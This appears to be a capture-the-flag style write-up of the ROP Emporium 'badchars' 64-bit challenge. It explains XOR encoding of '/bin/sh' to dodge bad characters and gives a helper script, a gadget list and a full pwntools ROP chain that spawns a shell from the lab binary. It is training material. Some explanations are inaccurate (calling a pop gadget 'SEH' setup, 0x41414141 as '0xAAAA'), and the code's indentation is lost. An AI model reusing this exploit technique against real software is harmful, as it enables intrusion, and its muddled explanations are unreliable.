XOR ROP — badchars (64bit)

If you have been following along, you will have seen the ROP Emporium write-ups, this one deserves one focused more on the details as the final exploit needs to do some things for our payload to succeed.

The Clues

Moar XOR: You’ll still need to deal with writing a string into memory, similar to the write4 challenge, that may have badchars in it. Think about how we’re going to overcome this obstacle; could we use gadgets to change the string once it’s in memory?

Helper functions: It’s almost certainly worth your time writing a helper function for this challenge {…} There’s always a chance you could find a string that does what you want and doesn’t contain any badchars either…

Ok, so we want a helper function and we need to XOR some bits. If you don’t follow yet please bear with me…


(eXclusive OR) A Boolean logic operation that is widely used in cryptography as well as in generating parity bits for error checking and fault tolerance. XOR compares two input bits and generates one output bit. The logic is simple. If the bits are the same, the result is 0. If the bits are different, the result is 1.

Have a play with this online tool to try and figure out what’s happening if you don’t understand the above…XOR Calculator Online
Calculate the exclusive or (XOR) with a simple web-based calculator. Input and output in binary, decimal, hexadecimal…xor.pw

ASCII Character Table

Another important thing to understand next is that what we call a letter in the alphabet is not read by the computer in the same way. You know in all those exploit tutorials you send A*500, then you so SEGFAULT in 0x41414141, well that’s because the computer tries to go to address 0xAAAA which of course is total junk. Here is a table to show the extended character space.

XOR Test

Now we know about the ASCII table we can try the XOR calculator to understand what we will do next.

Let’s XOR A, or the machine equivalent 41 with 2, the number we will use in the exploit.

The result is 43, as we expect which is now a C if we convert it back to ASCII. Now we have the XOR’d result and we know what it was XOR’d with, 2, we can reverse it.

Perfect, this is exactly what we will do with the final exploit.

Helper Function

As stated, we should write a helper function, this following function does the following:

  • Loop to 255, entire ASCII range
  • 8 loops to concatenate 8 bytes of XOR calculation (64 bit address)
  • Then we check if the badchars are present, if not print and then die
badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
sh = "/bin/sh\x00"
#Loop 0 to 255
for i in xrange(255):
flag = True
# 8 loops, for 8 bytes we concat the result of the xor
new_sh = "".join([chr(i^ord(sh[x])) for x in xrange(len(sh))])
#Now we loop through all 8 bytes of bad chars and if it's found in new string we ignore it
for b in badchars:
if chr(b) in new_sh:
flag = False
#If we made it past the bad character check we print out the result and exit
if flag:
print "^"+str(i)
print new_sh.encode('hex')

The first result that is safe of badchars is XOR w/ 2. If we remove the exit() you can see there are many valid strings we could use.

We will stick with 2 for now, if you choose something else change line rop = p64(2) in exploit to p64(x).

We now have the string we can use, so now we just need to find the gadgets we want, most are in usefulGadgets as before.

Our Gadgets

0x0000000000400b3b : pop r12 ; pop r13 ; ret
0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
0x0000000000400b40 : pop r14 ; pop r15 ; ret
0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
0x0000000000400b39 : pop rdi ; ret

We should know most of these by now…

pop r12 ; pop r13 ; ret - sets up SEH condition
pop rdi ; ret - called to load value into register for syscall
pop r14 ; pop r15 ; ret - prepping condition
mov qword ptr [r13], r12 ; ret - move pointer to register

The one we are looking at specifically is this one…

xor byte ptr [r15], r14b ; ret

Tries to compute an xor operation of the value in the register r14b (Lower 8 bits of r14 64bit register) and a value of the byte in memory.

We load 2 into memory for the XOR like this..

rop += p64(pop_pop_ret_45_address) #pop r14 ; pop r15 ; ret
rop += p64(2) int 2
rop += p64(write_start_address+i) #.data segment+i val from loop
rop += p64(xor_ret_address) #xor byte ptr [r15], r14b ; ret

Now we have all the bits we need. Address to write to, system address, an XORd string that bypasses bad characters, a gadget that can XOR value back to end up with “/bin/sh\x00” which is what we need for our syscall and some usual gadgets to get the job done.

Final Exploit

from pwn import *
rop = "A" * 40
#pop r12 ; pop r13 ; ret
rop += p64(0x400b3b)
#Output from helper script - 0x2d606b6c2d716a02
rop += p64(0x2d606b6c2d716a02, endianness="big")
#Write start address
rop += p64(0x006010f0)
#mov qword ptr [r13], r12 ; ret
rop += p64(0x400b34)
for i in xrange(8):
#pop r14 ; pop r15 ; ret
rop += p64(0x400b40)
rop += p64(2)
#Write start address+i
rop += p64(0x6010f0+i)
#xor byte ptr [r15], r14b ; ret
rop += p64(0x400b30)
#pop rdi ; ret
rop += p64(0x400b39)
#Write start address
rop += p64(0x6010f0)
#System address
rop += p64(0x4006F0)
p = process("./badchars")

Don’t be confused by some addresses above, tools will give you 64bit address, but just for sanity I usually trim them to 32bit size and then use pwntools p64() function to covert back.

0x0000000000400b3b = 0x400b3b
p64(0x400b3b) = 0x0000000000400b3b

XOR Rop Emporium Badchars
Recorded by int0x33asciinema.org

As you can see after exiting exploited process we get EOF which is what we expect, we also can’t run any system commands as the process is dead.